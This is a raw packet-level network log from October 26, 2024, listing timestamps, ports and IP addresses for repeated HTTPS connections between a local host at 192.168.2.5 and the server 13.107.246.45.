Oct 26, 2024 13:46:26.440817118 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.440845966 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:26.440865993 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.161326885 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.162213087 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.162256956 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.162669897 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.162677050 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.173130035 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.173947096 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.173969984 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.174216032 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.174221992 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.181813002 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.182348013 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.182375908 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.182708979 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.182714939 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.292862892 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.292954922 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.292996883 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.293005943 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.293045998 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.293416977 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.293431044 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.293447971 CEST	49963	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.293453932 CEST	443	49963	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.297569036 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.297610044 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.297749996 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.297939062 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.297955990 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.304528952 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.304645061 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.304696083 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.304805994 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.304814100 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.304838896 CEST	49965	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.304843903 CEST	443	49965	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.308984041 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.309004068 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.309067965 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.309456110 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.309468985 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.321295023 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.321361065 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.321480036 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.321533918 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.321533918 CEST	49964	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.321544886 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.321553946 CEST	443	49964	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.324979067 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.325006962 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:27.325074911 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.325248003 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:27.325259924 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.054033995 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.054678917 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.054698944 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.055212975 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.055217981 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.062758923 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.063034058 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.063050032 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.063345909 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.063354015 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.071562052 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.071863890 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.071885109 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.072191954 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.072197914 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.196712017 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.196816921 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.196973085 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.197098970 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.197120905 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.197133064 CEST	49967	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.197139025 CEST	443	49967	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.200665951 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.200694084 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.200773001 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.200968981 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.200983047 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.208918095 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.209007978 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.209146976 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.209171057 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.209224939 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.209276915 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.209332943 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.209350109 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.209362030 CEST	49968	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.209368944 CEST	443	49968	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.211636066 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.211664915 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.211877108 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.212104082 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.212116003 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.353070974 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.353099108 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.353167057 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.353209972 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.353255033 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.353565931 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.353581905 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.353595018 CEST	49966	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.353600025 CEST	443	49966	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.357055902 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.357090950 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.357197046 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.357394934 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.357409954 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.937185049 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.938085079 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.938111067 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.938368082 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.938374043 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.974958897 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.975626945 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.975665092 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:28.976264954 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:28.976269960 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.067641020 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.067698002 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.067790031 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.067827940 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.067848921 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.068083048 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.068219900 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.068219900 CEST	49969	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.068234921 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.068243027 CEST	443	49969	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.071775913 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.071811914 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.071912050 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.072149038 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.072160006 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.086708069 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.087434053 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.087449074 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.088052034 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.088057041 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.142302990 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.142324924 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.142379045 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.142389059 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.142436028 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.142744064 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.142761946 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.142774105 CEST	49970	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.142779112 CEST	443	49970	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.146027088 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.146060944 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.146150112 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.146445036 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.146464109 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.220891953 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.220918894 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.220978022 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.221015930 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.221072912 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.221400976 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.221400976 CEST	49971	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.221416950 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.221429110 CEST	443	49971	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.225497007 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.225548983 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.225625992 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.225946903 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.225959063 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.803447962 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.804023981 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.804040909 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.804558039 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.804564953 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.879090071 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.879941940 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.879961014 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.880492926 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.880497932 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.934878111 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.935219049 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.935319901 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.935373068 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.935391903 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.935411930 CEST	49972	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.935429096 CEST	443	49972	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.938446999 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.938482046 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.938565016 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.938729048 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.938740015 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.946162939 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.946605921 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.946620941 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:29.947089911 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:29.947094917 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.009733915 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.009799957 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.009848118 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.010099888 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.010104895 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.010117054 CEST	49973	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.010119915 CEST	443	49973	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.013616085 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.013659954 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.013746023 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.013936043 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.013947010 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.074884892 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.075776100 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.075886965 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.075947046 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.075953960 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.075977087 CEST	49974	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.075980902 CEST	443	49974	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.079303026 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.079348087 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.079428911 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.079612017 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.079622030 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.399966002 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.400556087 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.400576115 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.401113033 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.401117086 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.529086113 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.529159069 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.529293060 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.529578924 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.529594898 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.529633045 CEST	49932	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.529639006 CEST	443	49932	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.533978939 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.534014940 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.534090996 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.534270048 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.534280062 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.711756945 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.712383986 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.712399960 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.713063955 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.713069916 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.745286942 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.761163950 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.761189938 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.772283077 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.772290945 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.827296019 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.832524061 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.832541943 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.841576099 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.841587067 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.845890045 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.845961094 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.846021891 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.848010063 CEST	49975	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.848042965 CEST	443	49975	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.881148100 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.881159067 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.881241083 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.884548903 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.884557962 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.900604010 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.900625944 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.900707006 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.900712013 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.900872946 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.901454926 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.901472092 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.901484013 CEST	49976	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.901489019 CEST	443	49976	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.910296917 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.910329103 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.910387993 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.910701990 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.910712004 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.971106052 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.971132994 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.971194029 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.971204996 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.971388102 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.971435070 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.971524954 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.971530914 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.971544981 CEST	49977	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.971549034 CEST	443	49977	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.978022099 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.978049994 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:30.978143930 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.978329897 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:30.978343010 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.312616110 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.313350916 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.313379049 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.313978910 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.313985109 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568383932 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568419933 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568435907 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568502903 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.568530083 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568587065 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.568792105 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568860054 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.568866014 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568893909 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.568945885 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.569014072 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.569027901 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.569104910 CEST	49978	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.569111109 CEST	443	49978	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.572253942 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.572294950 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.572387934 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.572520971 CEST	49982	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.572535038 CEST	443	49982	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.654165030 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.654700041 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.654735088 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.655196905 CEST	49980	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.655205965 CEST	443	49980	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.677597046 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.678164959 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.678186893 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.678622961 CEST	49979	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.678630114 CEST	443	49979	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.701735020 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.702331066 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.702356100 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.702856064 CEST	49981	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:46:31.702861071 CEST	443	49981	13.107.246.45	192.168.2.5
Oct 26, 2024 13:46:31.811870098 CEST	443	49979	13.107.246.45	192.168.2.5
